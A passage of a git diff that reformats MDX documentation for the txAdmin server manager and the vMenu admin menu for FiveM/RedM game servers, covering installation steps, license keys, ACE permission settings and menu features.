must be compatible with the library [humanize steps={[ { title: "Download a Base Language", - description: "Choose a language file from the txAdmin repository that is closest to your target language and download it." + description: + "Choose a language file from the txAdmin repository that is closest to your target language and download it.", }, { title: "Copy to txData", - description: "Copy or create a locale.json file in your txData folder with your custom translations." + description: + "Copy or create a locale.json file in your txData folder with your custom translations.", }, { title: "Test Your Changes", - description: "Go to txAdmin settings and select 'Custom' language. Visit the settings page to see changes without restarting." + description: + "Go to txAdmin settings and select 'Custom' language. Visit the settings page to see changes without restarting.", }, { title: "Submit Contribution", - description: "Once tested, consider contributing your translation to the official repository." - } + description: + "Once tested, consider contributing your translation to the official repository.", + }, ]} /> @@ -65,7 +69,11 @@ To contribute, you will need to:

Quick Testing Tip

-

To quickly test your changes, edit the `locale.json` file and then in the settings page click "Save Global Settings" again to see the changes in the game menu without needing to restart txAdmin or the server.

+

+ To quickly test your changes, edit the `locale.json` file and then in the + settings page click "Save Global Settings" again to see the changes in the + game menu without needing to restart txAdmin or the server. +

@@ -84,7 +92,12 @@ This will tell you about missing or extra keys.

Performance Note

-

The performance of custom locale files for big servers may not be ideal due to the way we need to sync dynamic content to clients. So it is strongly encouraged that you contribute with translations in our GitHub so they get packed with the rest of txAdmin.

+

+ The performance of custom locale files for big servers may not be ideal + due to the way we need to sync dynamic content to clients. So it is + strongly encouraged that you contribute with translations in our GitHub so + they get packed with the rest of txAdmin. +

@@ -101,6 +114,7 @@ Once your translation is complete and tested: ## Language Support Currently supported languages include: + - English (en) - Spanish (es) - French (fr) diff --git a/content/docs/txadmin/troubleshooting.mdx b/content/docs/txadmin/troubleshooting.mdx index f096300..524fa99 100644 --- a/content/docs/txadmin/troubleshooting.mdx +++ b/content/docs/txadmin/troubleshooting.mdx @@ -3,8 +3,9 @@ title: Troubleshooting description: Diagnose and resolve common txAdmin issues, server problems, and configuration challenges. --- -import { InfoBanner } from '@ui/components/mdx-components'; +import { InfoBanner } from "@ui/components/mdx-components"; -We are working hard to get the full txAdmin documentation done as soon as possible! - \ No newline at end of file + We are working hard to get the full txAdmin documentation done as soon as + possible! + diff --git a/content/docs/txadmin/windows/index.mdx b/content/docs/txadmin/windows/index.mdx index 62d914b..1238272 100644 --- a/content/docs/txadmin/windows/index.mdx +++ b/content/docs/txadmin/windows/index.mdx @@ -3,58 +3,98 @@ title: Windows Guides description: Complete guide to installing and setting up txAdmin on Windows. --- -import { Step, Steps } from 'fumadocs-ui/components/steps'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, PropertyCard, InfoBanner, CategoryGrid } from '@ui/components/mdx-components'; +import { Step, Steps } from "fumadocs-ui/components/steps"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + PropertyCard, + InfoBanner, + CategoryGrid, +} from "@ui/components/mdx-components"; This section covers everything you need to know about installing and configuring txAdmin on Windows systems. Whether you're starting a new server or migrating an existing one, we'll walk you through each step. ## System Requirements -Before you begin, ensure your Windows system meets these requirements for optimal txAdmin performance. + Before you begin, ensure your Windows system meets these requirements for + optimal txAdmin performance. ### Hardware Requirements - ### Network Ports - ### Software Requirements - + -FiveM requires a **fully updated** version of Windows. An outdated operating system may not work correctly. Windows 10 or newer is recommended for the best experience. + FiveM requires a **fully updated** version of Windows. An outdated operating + system may not work correctly. Windows 10 or newer is recommended for the best + experience. ## Installation Options - \ No newline at end of file + diff --git a/content/docs/txadmin/windows/install.mdx b/content/docs/txadmin/windows/install.mdx index b392978..4beffa3 100644 --- a/content/docs/txadmin/windows/install.mdx +++ b/content/docs/txadmin/windows/install.mdx @@ -3,40 +3,69 @@ title: Install and Setup description: Complete guide to installing txAdmin on Windows. --- -import { Step, Steps } from 'fumadocs-ui/components/steps'; -import { Tab, Tabs } from 'fumadocs-ui/components/tabs'; -import { Accordion, Accordions } from 'fumadocs-ui/components/accordion'; -import { Callout } from 'fumadocs-ui/components/callout'; -import { FileSource } from '@ui/components/file-source'; -import { FeatureList, CheckList, QuickLinks, DefinitionList, PropertyCard, InfoBanner, CategoryGrid, ConfigBlock, TroubleshootingCard, StepList, CommandCard } from '@ui/components/mdx-components'; +import { Step, Steps } from "fumadocs-ui/components/steps"; +import { Tab, Tabs } from "fumadocs-ui/components/tabs"; +import { Accordion, Accordions } from "fumadocs-ui/components/accordion"; +import { Callout } from "fumadocs-ui/components/callout"; +import { FileSource } from "@ui/components/file-source"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + PropertyCard, + InfoBanner, + CategoryGrid, + ConfigBlock, + TroubleshootingCard, + StepList, + CommandCard, +} from "@ui/components/mdx-components"; This guide covers the complete installation and initial setup process for txAdmin, from downloading the files to launching your first server. For this guide we will use RedM but the setup should be more or less the same for FiveM! -This comprehensive guide will walk you through downloading artifacts, configuring txAdmin, and deploying your first server. + This comprehensive guide will walk you through downloading artifacts, + configuring txAdmin, and deploying your first server. ## Step 1: Download FXServer Artifacts -For this guide, we're using artifact version 24769. Always use recommended versions for stability. -![](/screenshots/txadmin/recommended-versions.png) + For this guide, we're using artifact version 24769. Always use recommended + versions for stability. ![](/screenshots/txadmin/recommended-versions.png) ### Automated Download (Recommended) - - + -If you choose to use the official [runtime.fivem.net](https://runtime.fivem.net) for your artifacts **do not** use the "Latest" and "Optional" buttons they often point to outdated versions. -![](/screenshots/citizenfx/these-buttons-suck.png) + If you choose to use the official + [runtime.fivem.net](https://runtime.fivem.net) for your artifacts **do not** + use the "Latest" and "Optional" buttons they often point to outdated versions. + ![](/screenshots/citizenfx/these-buttons-suck.png) - We built our own artifact explorer because CFX doesn't update their buttons regularly. Here's how we implemented a better solution: - + We built our own artifact explorer because CFX doesn't update their buttons + regularly. Here's how we implemented a better solution: - - + - - + - + @@ -113,8 +146,8 @@ If you choose to use the official [runtime.fivem.net](https://runtime.fivem.net) /> -txAdmin will automatically initialize and display a web URL with PIN for setup. -![](/screenshots/txadmin/txadmin-init-console.png) + txAdmin will automatically initialize and display a web URL with PIN for + setup. ![](/screenshots/txadmin/txadmin-init-console.png) ## Step 3: Authentication & Setup @@ -124,32 +157,37 @@ txAdmin will automatically initialize and display a web URL with PIN for setup. steps={[ { title: "Access Setup Page", - description: "Visit the URL from console output and enter the provided PIN (often auto-filled)", + description: + "Visit the URL from console output and enter the provided PIN (often auto-filled)", image: "/screenshots/txadmin/txadmin-init-setup.png", - imageAlt: "txAdmin setup page with PIN entry" + imageAlt: "txAdmin setup page with PIN entry", }, { - title: "CFX Authorization", - description: "Login to your CFX Forums account or create a new one for resource access", + title: "CFX Authorization", + description: + "Login to your CFX Forums account or create a new one for resource access", image: "/screenshots/citizenfx/cfx-auth.png", - imageAlt: "CFX account authorization flow" + imageAlt: "CFX account authorization flow", }, { title: "Master Account", - description: "Create a backup password and optionally add your Discord ID for recovery", + description: + "Create a backup password and optionally add your Discord ID for recovery", image: "/screenshots/txadmin/master-account.png", imageAlt: "Master account creation", alert: { type: "warning", - message: "Keep your master account credentials safe - they're your backup if you lose CFX access." - } + message: + "Keep your master account credentials safe - they're your backup if you lose CFX access.", + }, }, { title: "Server Naming", - description: "Choose a name for your server (appears in txAdmin interface and Discord messages)", + description: + "Choose a name for your server (appears in txAdmin interface and Discord messages)", image: "/screenshots/txadmin/server-name.png", - imageAlt: "Server name configuration" - } + imageAlt: "Server name configuration", + }, ]} /> @@ -164,30 +202,34 @@ After naming your server, you'll be prompted to select a deployment type. This d categories={[ { name: "Popular Recipes", - description: "Recommended for beginners. Includes QBCore, ESX, and vanilla templates that auto-configure everything", - icon: "star" + description: + "Recommended for beginners. Includes QBCore, ESX, and vanilla templates that auto-configure everything", + icon: "star", }, { name: "Existing Server Data", - description: "Use if you already have a server_cfg and resources folder from a previous setup", - icon: "folder" + description: + "Use if you already have a server_cfg and resources folder from a previous setup", + icon: "folder", }, { name: "Remote URL Template", - description: "Deploy from a custom Recipe URL in YAML format - useful for shared team configurations", - icon: "globe" + description: + "Deploy from a custom Recipe URL in YAML format - useful for shared team configurations", + icon: "globe", }, { name: "Custom Template", description: "For advanced users writing their own recipe from scratch", - icon: "wrench" - } + icon: "wrench", + }, ]} columns={2} /> -If this is your first server, select **Popular Recipes** - it handles all the complex configuration automatically and gives you a working server in minutes. + If this is your first server, select **Popular Recipes** - it handles all the + complex configuration automatically and gives you a working server in minutes. ### Choose Your Template @@ -201,56 +243,64 @@ Once you select Popular Recipes, you'll see the template selection screen. Each categories={[ { name: "FiveM Basic Server", - description: "A minimal server without framework, with just the config required to run FiveM", - icon: "server" + description: + "A minimal server without framework, with just the config required to run FiveM", + icon: "server", }, { name: "ESX Legacy", - description: "The official recipe of the most popular FiveM RP framework with jobs, housing, vehicles & more", - icon: "crown" + description: + "The official recipe of the most popular FiveM RP framework with jobs, housing, vehicles & more", + icon: "crown", }, { name: "Qbox", - description: "The most modern and optimized framework, while compatible with QBCore resources", - icon: "zap" + description: + "The most modern and optimized framework, while compatible with QBCore resources", + icon: "zap", }, { name: "QBCore", - description: "An advanced FiveM RP framework including jobs, gangs, housing & more", - icon: "shield" + description: + "An advanced FiveM RP framework including jobs, gangs, housing & more", + icon: "shield", }, { name: "RedM Basic Server", - description: "A minimal server without framework, with just the config required to run RedM", - icon: "star" + description: + "A minimal server without framework, with just the config required to run RedM", + icon: "star", }, { name: "VORP Core", - description: "The leading RP Framework for RedM containing jobs, stables, hunting, housing & more", - icon: "crown" - } + description: + "The leading RP Framework for RedM containing jobs, stables, hunting, housing & more", + icon: "crown", + }, ]} columns={2} /> -Choose a **Basic Server** for simplicity and full control, or pick a **Roleplay framework** (ESX, QBCore, Qbox, VORP) if you want pre-built economy features like shops, jobs, and player progression. + Choose a **Basic Server** for simplicity and full control, or pick a + **Roleplay framework** (ESX, QBCore, Qbox, VORP) if you want pre-built economy + features like shops, jobs, and player progression. ### Deployment Process - ### Getting Your Server License @@ -260,41 +310,44 @@ Choose a **Basic Server** for simplicity and full control, or pick a **Roleplay steps={[ { title: "Access CFX Portal", - description: "Visit [portal.cfx.re](https://portal.cfx.re) and login with your CFX account", + description: + "Visit [portal.cfx.re](https://portal.cfx.re) and login with your CFX account", image: "/screenshots/citizenfx/cfx-portal.png", - imageAlt: "Visit the CFX Portal" + imageAlt: "Visit the CFX Portal", }, { title: "Create License Key", description: "Click 'Create a key' and name it after your server", image: "/screenshots/citizenfx/create-a-key.png", - imageAlt: "Create a key button on CFX portal" + imageAlt: "Create a key button on CFX portal", }, { title: "Name Your Key", - description: "Enter a descriptive name - your server name is the easiest option", + description: + "Enter a descriptive name - your server name is the easiest option", image: "/screenshots/citizenfx/server-license-name.png", - imageAlt: "Naming your key in the CFX Portal" + imageAlt: "Naming your key in the CFX Portal", }, { title: "Copy License", description: "Use the eye icon to reveal and copy your license key", image: "/screenshots/citizenfx/view-your-key.png", - imageAlt: "Viewing your key in the CFX Portal" + imageAlt: "Viewing your key in the CFX Portal", }, { title: "Apply to Server", description: "Paste the key in txAdmin and click 'Run Recipe'", image: "/screenshots/txadmin/using-your-key.png", - imageAlt: "Paste your license key in txAdmin" - } + imageAlt: "Paste your license key in txAdmin", + }, ]} /> ### Deployment Execution -The deployer will automatically download and configure all necessary files. This process typically takes 2-5 minutes. + The deployer will automatically download and configure all necessary files. + This process typically takes 2-5 minutes. ![Deployer in Action](/screenshots/txadmin/deployer-1.png) @@ -307,10 +360,26 @@ The deployer will automatically download and configure all necessary files. This title="Final Server Settings" language="ini" options={[ - { name: "sv_hostname", value: "Your Server Name", description: "Name displayed in server browser" }, - { name: "sv_licenseKey", value: "your_license_key_here", description: "CFX license key from portal" }, - { name: "sv_maxclients", value: "48", description: "Maximum concurrent players" }, - { name: "sets locale", value: "en-US", description: "Default server language" } + { + name: "sv_hostname", + value: "Your Server Name", + description: "Name displayed in server browser", + }, + { + name: "sv_licenseKey", + value: "your_license_key_here", + description: "CFX license key from portal", + }, + { + name: "sv_maxclients", + value: "48", + description: "Maximum concurrent players", + }, + { + name: "sets locale", + value: "en-US", + description: "Default server language", + }, ]} /> @@ -319,7 +388,8 @@ The deployer will automatically download and configure all necessary files. This ## Welcome to txAdmin -Your txAdmin server is now running and ready for players. Access the live console to monitor your server. + Your txAdmin server is now running and ready for players. Access the live + console to monitor your server. ![Welcome to txAdmin](/screenshots/txadmin/welcome.png) @@ -327,7 +397,8 @@ Your txAdmin server is now running and ready for players. Access the live consol ## Post-Installation -Congratulations! Your txAdmin server is now running. Here are some important next steps. + Congratulations! Your txAdmin server is now running. Here are some important + next steps. ### Essential First Steps @@ -335,10 +406,26 @@ Congratulations! Your txAdmin server is now running. Here are some important nex @@ -364,29 +451,31 @@ Congratulations! Your txAdmin server is now running. Here are some important nex ## Next Steps - + diff --git a/content/docs/txadmin/windows/meta.json b/content/docs/txadmin/windows/meta.json index 93611a8..3819614 100644 --- a/content/docs/txadmin/windows/meta.json +++ b/content/docs/txadmin/windows/meta.json @@ -1,6 +1,4 @@ { - "defaultOpen": true, - "pages": [ - "install" - ] -} \ No newline at end of file + "defaultOpen": true, + "pages": ["install"] +} diff --git a/content/docs/vmenu/configuration.mdx b/content/docs/vmenu/configuration.mdx index 510d931..c837ee4 100644 --- a/content/docs/vmenu/configuration.mdx +++ b/content/docs/vmenu/configuration.mdx @@ -4,56 +4,117 @@ description: Guide to configuring vMenu settings and permissions icon: "Wrench" --- -import { Callout } from 'fumadocs-ui/components/callout' -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable, RoleCard, PermissionCodeBlock, KeyboardShortcutTable, ActionTable, InfoBanner, CategoryGrid, FileTree } from '@ui/components/mdx-components' +import { Callout } from "fumadocs-ui/components/callout"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, + RoleCard, + PermissionCodeBlock, + KeyboardShortcutTable, + ActionTable, + InfoBanner, + CategoryGrid, + FileTree, +} from "@ui/components/mdx-components"; ## Overview vMenu is configured primarily through **permissions** using FiveM's ACE permission system. Configuration options may change between versions. -Always check the [official vMenu documentation](https://docs.vespura.com/vmenu/) for the most accurate and current configuration options. + Always check the [official vMenu + documentation](https://docs.vespura.com/vmenu/) for the most accurate and + current configuration options. ## Configuration Files - ## Basic Setup - + ## Permissions Configuration @@ -66,26 +127,26 @@ vMenu uses FiveM's ACE permission system. Edit `permissions.cfg`: key: "add_ace group.admin", value: "vMenu.Everything allow", description: "Grant all permissions to admin group", - required: true + required: true, }, { key: "add_ace group.moderator", value: "vMenu.OnlinePlayers.Menu allow", description: "Moderators can view online players", - required: false + required: false, }, { key: "add_ace builtin.everyone", value: "vMenu.Everything deny", description: "Deny all permissions by default", - required: true + required: true, }, { key: "add_principal identifier.steam:ID", value: "group.admin", description: "Add player to admin group", - required: false - } + required: false, + }, ]} /> @@ -109,14 +170,30 @@ For the complete list of permissions, see the [official vMenu permissions docume vMenu uses convars for configuration. Add these to your `server.cfg` **before** the `ensure vMenu` line. - + For the complete and up-to-date list of available convars, please refer to: - + ## Example Permission Configurations @@ -127,9 +204,11 @@ For the complete and up-to-date list of available convars, please refer to: # permissions.cfg for roleplay server # Admin - full access + add_ace group.admin vMenu.Everything allow # Moderator - player management + add_ace group.moderator vMenu.OnlinePlayers.Menu allow add_ace group.moderator vMenu.OnlinePlayers.Teleport allow add_ace group.moderator vMenu.OnlinePlayers.Kick allow @@ -137,11 +216,13 @@ add_ace group.moderator vMenu.OnlinePlayers.Spectate allow add_ace group.moderator vMenu.NoClip allow # Deny spawning for non-staff + add_ace builtin.everyone vMenu.VehicleSpawner.Menu deny add_ace builtin.everyone vMenu.WeaponSpawner.Menu deny add_ace builtin.everyone vMenu.NoClip deny add_ace builtin.everyone vMenu.OnlinePlayers.Menu deny -``` + +```` ### Freeroam Server @@ -150,7 +231,7 @@ add_ace builtin.everyone vMenu.OnlinePlayers.Menu deny ```cfg # permissions.cfg for freeroam server -# Admin - full access +# Admin - full access add_ace group.admin vMenu.Everything allow # Allow everyone basic features @@ -162,7 +243,8 @@ add_ace builtin.everyone vMenu.WeaponOptions.Menu allow # Restrict admin-only features add_ace builtin.everyone vMenu.OnlinePlayers.Kick deny add_ace builtin.everyone vMenu.OnlinePlayers.Ban deny -``` +```` + ## Resource Load Order @@ -178,13 +260,17 @@ ensure spawnmanager ensure sessionmanager # Execute vMenu permissions + exec resources/vMenu/config/permissions.cfg # Load vMenu after core resources + ensure vMenu # Load dependent resources after vMenu + ensure your_other_resources + ``` @@ -247,3 +333,4 @@ ensure your_other_resources Always refer to the official vMenu documentation for the most accurate configuration information. +``` diff --git a/content/docs/vmenu/features.mdx b/content/docs/vmenu/features.mdx index a6da1bb..f31bdde 100644 --- a/content/docs/vmenu/features.mdx +++ b/content/docs/vmenu/features.mdx @@ -4,38 +4,136 @@ description: Complete guide to all vMenu features, categories, and functionality icon: "Grid" --- -import { Callout } from 'fumadocs-ui/components/callout' -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable, RoleCard, PermissionCodeBlock, KeyboardShortcutTable, ActionTable, InfoBanner, CategoryGrid } from '@ui/components/mdx-components' +import { Callout } from "fumadocs-ui/components/callout"; +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, + RoleCard, + PermissionCodeBlock, + KeyboardShortcutTable, + ActionTable, + InfoBanner, + CategoryGrid, +} from "@ui/components/mdx-components"; ## Overview vMenu provides a comprehensive set of features for server administration, player management, and customization. This guide covers all available features organized by menu category. -Features shown depend on your permissions. Admins see all options, while regular players see limited features based on configuration. + Features shown depend on your permissions. Admins see all options, while + regular players see limited features based on configuration. ## Main Menu Categories - @@ -47,45 +145,104 @@ Manage connected players on your server. ### Player List Features - ### Player Actions - ### Player Information Display - + -Always follow your server's moderation guidelines when using player management features. + Always follow your server's moderation guidelines when using player management + features. ## Player Options @@ -96,53 +253,123 @@ Modify your own character's abilities and status. ### God Mode Options - ### Movement Options - ### Health & Armor - ### Model Options - + - + ## Vehicle Spawner @@ -152,53 +379,195 @@ Spawn vehicles by category. ### Vehicle Categories - ### Spawn Options - + ### Popular Vehicles - @@ -210,14 +579,26 @@ Modify your current vehicle. ### Quick Actions - @@ -225,30 +606,70 @@ Modify your current vehicle. - + ### Performance Modifications - + - + ### Vehicle Components @@ -281,14 +702,14 @@ Modify your current vehicle. ### Special Options -| Option | Permission | Description | -|--------|------------|-------------| -| **Freeze Vehicle** | `.Freeze` | Lock vehicle in place | -| **Invisible Vehicle** | `.Invisible` | Make vehicle invisible (you remain visible) | -| **Engine Always On** | `.EngineAlwaysOn` | Engine never turns off | -| **No Siren Sound** | `.NoSirenSound` | Disable siren audio | -| **No Helmet** | `.NoHelmet` | Disable auto helmet on bikes | -| **Flash Highbeams** | `.FlashHighbeamsOnHonk` | Flash lights when honking | +| Option | Permission | Description | +| --------------------- | ----------------------- | ------------------------------------------- | +| **Freeze Vehicle** | `.Freeze` | Lock vehicle in place | +| **Invisible Vehicle** | `.Invisible` | Make vehicle invisible (you remain visible) | +| **Engine Always On** | `.EngineAlwaysOn` | Engine never turns off | +| **No Siren Sound** | `.NoSirenSound` | Disable siren audio | +| **No Helmet** | `.NoHelmet` | Disable auto helmet on bikes | +| **Flash Highbeams** | `.FlashHighbeamsOnHonk` | Flash lights when honking | ## Saved Vehicles @@ -317,7 +738,8 @@ Save and spawn custom configured vehicles. - Extra components - Maximum saved vehicles per player is configurable via `vMenuMaxSavedVehicles` convar (default: 50). + Maximum saved vehicles per player is configurable via `vMenuMaxSavedVehicles` + convar (default: 50). ## Personal Vehicle @@ -348,13 +770,13 @@ Manage weapons and ammo. ### Quick Actions -| Action | Permission | Description | -|--------|------------|-------------| -| **Get All Weapons** | `.GetAll` | Spawn all weapons | -| **Remove All Weapons** | `.RemoveAll` | Drop all weapons | -| **Refill Ammo** | `.All` | Refill all weapon ammo | -| **Infinite Ammo** | `.UnlimitedAmmo` | Never run out of ammo | -| **No Reload** | `.NoReload` | No reload delay | +| Action | Permission | Description | +| ---------------------- | ---------------- | ---------------------- | +| **Get All Weapons** | `.GetAll` | Spawn all weapons | +| **Remove All Weapons** | `.RemoveAll` | Drop all weapons | +| **Refill Ammo** | `.All` | Refill all weapon ammo | +| **Infinite Ammo** | `.UnlimitedAmmo` | Never run out of ammo | +| **No Reload** | `.NoReload` | No reload delay | ### Weapon Spawner @@ -398,7 +820,8 @@ Save and load weapon configurations. - Weapon tints - Useful for quickly switching between roleplay roles (police, military, civilian) or event loadouts. + Useful for quickly switching between roleplay roles (police, military, + civilian) or event loadouts. ## Player Appearance @@ -410,11 +833,13 @@ Customize character appearance using GTA V's character creator. ### Customization Options **Inherited Features**: + - Face shape (mother/father inheritance sliders) - Skin tone - Face features (nose, eyes, cheeks, jaw, etc.) **Appearance Details**: + - Hairstyles (60+ options) - Hair colors - Eye colors @@ -425,6 +850,7 @@ Customize character appearance using GTA V's character creator. - Complexion **Clothing**: + - Hats/Helmets - Glasses/Sunglasses - Tops/Shirts @@ -437,6 +863,7 @@ Customize character appearance using GTA V's character creator. - Body Armor **Props**: + - Bags/Backpacks - Decals/Patches @@ -466,7 +893,8 @@ Save and load character appearances. - Event-specific appearances - Maximum saved characters per player is configurable via `vMenuMaxSavedCharacters` convar (default: 5). + Maximum saved characters per player is configurable via + `vMenuMaxSavedCharacters` convar (default: 5). ## Teleport Locations @@ -478,6 +906,7 @@ Teleport to predefined or custom locations. ### Default Locations **Landmarks**: + - Los Santos Airport - Sandy Shores Airfield - Fort Zancudo (military base) @@ -486,6 +915,7 @@ Teleport to predefined or custom locations. - Vinewood Sign **Districts**: + - Downtown Los Santos - Vespucci Beach - Vinewood Hills @@ -493,6 +923,7 @@ Teleport to predefined or custom locations. - Sandy Shores **Special Locations**: + - Prison - Hospital - Police Station @@ -526,6 +957,7 @@ Control server environment. **Permission**: `vMenu.WorldOptions.Weather` Available weather types: + - Extra Sunny - Clear - Clouds @@ -539,6 +971,7 @@ Available weather types: - Halloween **Features**: + - Instant weather change - Weather sync (all players) - Remove fog/clouds @@ -554,7 +987,8 @@ Available weather types: - **Randomize Peds**: Randomize NPC models - World changes affect all players on the server. Use responsibly during active gameplay. + World changes affect all players on the server. Use responsibly during active + gameplay. ## Voice Chat @@ -571,7 +1005,8 @@ Control voice chat settings. - **Show Speaker Indicators**: Display who's talking - Requires a voice chat resource like TokoVOIP, Mumble-VOIP, or pma-voice to be installed and configured. + Requires a voice chat resource like TokoVOIP, Mumble-VOIP, or pma-voice to be + installed and configured. ## Misc Settings @@ -635,14 +1070,14 @@ Free camera movement for admins. ### Controls -| Key | Action | -|-----|--------| -| **F2** | Toggle NoClip on/off | -| **W/S** | Move forward/backward | -| **A/D** | Move left/right | -| **Space/Ctrl** | Move up/down | -| **Shift** | Increase speed | -| **Mouse** | Look around | +| Key | Action | +| -------------- | --------------------- | +| **F2** | Toggle NoClip on/off | +| **W/S** | Move forward/backward | +| **A/D** | Move left/right | +| **Space/Ctrl** | Move up/down | +| **Shift** | Increase speed | +| **Mouse** | Look around | ### Settings @@ -651,7 +1086,8 @@ Free camera movement for admins. - Invisible while in noclip (optional) - **Admin Only**: NoClip is extremely powerful and should only be granted to trusted administrators. + **Admin Only**: NoClip is extremely powerful and should only be granted to + trusted administrators. ## Developer Tools @@ -728,5 +1164,6 @@ Have an idea for vMenu? - [Configuration](/docs/vmenu/configuration) - Customize vMenu settings - **Explore vMenu**: Now that you understand all features, configure your server to match your needs! + **Explore vMenu**: Now that you understand all features, configure your server + to match your needs! diff --git a/content/docs/vmenu/index.mdx b/content/docs/vmenu/index.mdx index 1bfb020..3e59d56 100644 --- a/content/docs/vmenu/index.mdx +++ b/content/docs/vmenu/index.mdx @@ -4,7 +4,23 @@ description: Comprehensive server administration and player menu system for Five icon: "Menu" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, +} from "@ui/components/mdx-components"; vMenu is a powerful, feature-rich menu system for FiveM servers that provides comprehensive server administration tools and customizable player options. Developed by Vespura, it's one of the most popular and reliable menu systems in the FiveM community. @@ -18,28 +34,34 @@ vMenu offers an extensive set of features for both server administrators and pla features={[ { title: "Player Management", - description: "Teleportation, vehicle control, weapon management, and player options" + description: + "Teleportation, vehicle control, weapon management, and player options", }, { title: "Server Administration", - description: "Player moderation, server management, vehicle management, and permission control" + description: + "Player moderation, server management, vehicle management, and permission control", }, { title: "Player Customization", - description: "Complete character customization, appearance editor, and saved characters" + description: + "Complete character customization, appearance editor, and saved characters", }, { title: "Advanced Features", - description: "Recording mode, saved locations, vehicle persistence, and ban management" + description: + "Recording mode, saved locations, vehicle persistence, and ban management", }, { title: "Battle-Tested Reliability", - description: "Used by thousands of servers worldwide with minimal performance impact" + description: + "Used by thousands of servers worldwide with minimal performance impact", }, { title: "Granular Permissions", - description: "Control every feature individually with permission-based access control" - } + description: + "Control every feature individually with permission-based access control", + }, ]} columns={2} /> @@ -51,7 +73,7 @@ vMenu offers an extensive set of features for both server administrators and pla "Reliability & Performance - Used by thousands of servers, optimized code, minimal impact", "Flexibility & Customization - Permission-based, highly configurable, API support", "Community & Support - Comprehensive documentation, active community, open source", - "Regular Updates - Active development, security fixes, new features" + "Regular Updates - Active development, security fixes, new features", ]} variant="check" /> @@ -66,32 +88,32 @@ Ready to install vMenu on your server? Follow our comprehensive guides: title: "Installation & Setup", description: "Download and install vMenu on your server", href: "/docs/vmenu/setup", - icon: "download" + icon: "download", }, { title: "Configuration", description: "Configure vMenu for your server's needs", href: "/docs/vmenu/configuration", - icon: "settings" + icon: "settings", }, { title: "Permissions System", description: "Set up user permissions and access control", href: "/docs/vmenu/permissions", - icon: "shield" + icon: "shield", }, { title: "Features Guide", description: "Explore all available vMenu features", href: "/docs/vmenu/features", - icon: "zap" + icon: "zap", }, { title: "Troubleshooting", description: "Common issues and solutions", href: "/docs/vmenu/troubleshooting", - icon: "wrench" - } + icon: "wrench", + }, ]} columns={2} /> @@ -105,7 +127,7 @@ Ready to install vMenu on your server? Follow our comprehensive guides: "FiveM Server - Latest recommended artifacts", "Operating System - Windows or Linux", "Framework - Standalone (no framework required)", - "Dependencies - None required" + "Dependencies - None required", ]} variant="bullet" /> @@ -130,12 +152,14 @@ Check the [official GitHub releases](https://github.com/TomGrobbe/vMenu/releases ## Support & Resources ### Official Resources + - **Documentation** - [docs.vespura.com/vmenu](https://docs.vespura.com/vmenu/) - **GitHub Repository** - [github.com/TomGrobbe/vMenu](https://github.com/TomGrobbe/vMenu) - **Discord Support** - [vespura.com/discord](https://vespura.com/discord) - **CFX Forums** - [forum.cfx.re](https://forum.cfx.re) ### Community Resources + - **Configuration Examples** - Shared server configs - **Permission Templates** - Pre-made permission setups - **Video Tutorials** - Community-created guides @@ -144,12 +168,14 @@ Check the [official GitHub releases](https://github.com/TomGrobbe/vMenu/releases ## License & Usage ### Open Source License + - **License** - GPLv3 (Open Source) - **Commercial Use** - Allowed - **Modification** - Allowed with attribution - **Redistribution** - Allowed under same license ### Usage Terms + - **Free to Use** - No licensing fees - **Attribution** - Keep credits intact - **Support** - Community-based support @@ -158,9 +184,11 @@ Check the [official GitHub releases](https://github.com/TomGrobbe/vMenu/releases --- -**Getting Started:** vMenu is standalone and doesn't require any frameworks. It works perfectly with ESX, QBCore, vRP, or any custom framework. + **Getting Started:** vMenu is standalone and doesn't require any frameworks. + It works perfectly with ESX, QBCore, vRP, or any custom framework. -**Performance:** vMenu is highly optimized with minimal performance impact, making it suitable for servers of any size. - \ No newline at end of file + **Performance:** vMenu is highly optimized with minimal performance impact, + making it suitable for servers of any size. + diff --git a/content/docs/vmenu/meta.json b/content/docs/vmenu/meta.json index 914e80a..472bb16 100644 --- a/content/docs/vmenu/meta.json +++ b/content/docs/vmenu/meta.json @@ -1,10 +1,10 @@ { - "root": true, - "pages": [ - "setup", - "configuration", - "permissions", - "features", - "troubleshooting" - ] -} \ No newline at end of file + "root": true, + "pages": [ + "setup", + "configuration", + "permissions", + "features", + "troubleshooting" + ] +} diff --git a/content/docs/vmenu/permissions.mdx b/content/docs/vmenu/permissions.mdx index 137c258..5f72c66 100644 --- a/content/docs/vmenu/permissions.mdx +++ b/content/docs/vmenu/permissions.mdx @@ -4,42 +4,99 @@ description: Complete guide to configuring vMenu permissions using FiveM's ACE a icon: "Shield" --- -import { FeatureList, CheckList, QuickLinks, DefinitionList, CommandCard, CommandTable, PropertyCard, IconGrid, Shortcut, StatusBadge, TroubleshootingCard, PermissionTable, ConfigBlock, StepList, ComparisonTable, RoleCard, PermissionCodeBlock, KeyboardShortcutTable, ActionTable, InfoBanner, CategoryGrid } from '@ui/components/mdx-components' +import { + FeatureList, + CheckList, + QuickLinks, + DefinitionList, + CommandCard, + CommandTable, + PropertyCard, + IconGrid, + Shortcut, + StatusBadge, + TroubleshootingCard, + PermissionTable, + ConfigBlock, + StepList, + ComparisonTable, + RoleCard, + PermissionCodeBlock, + 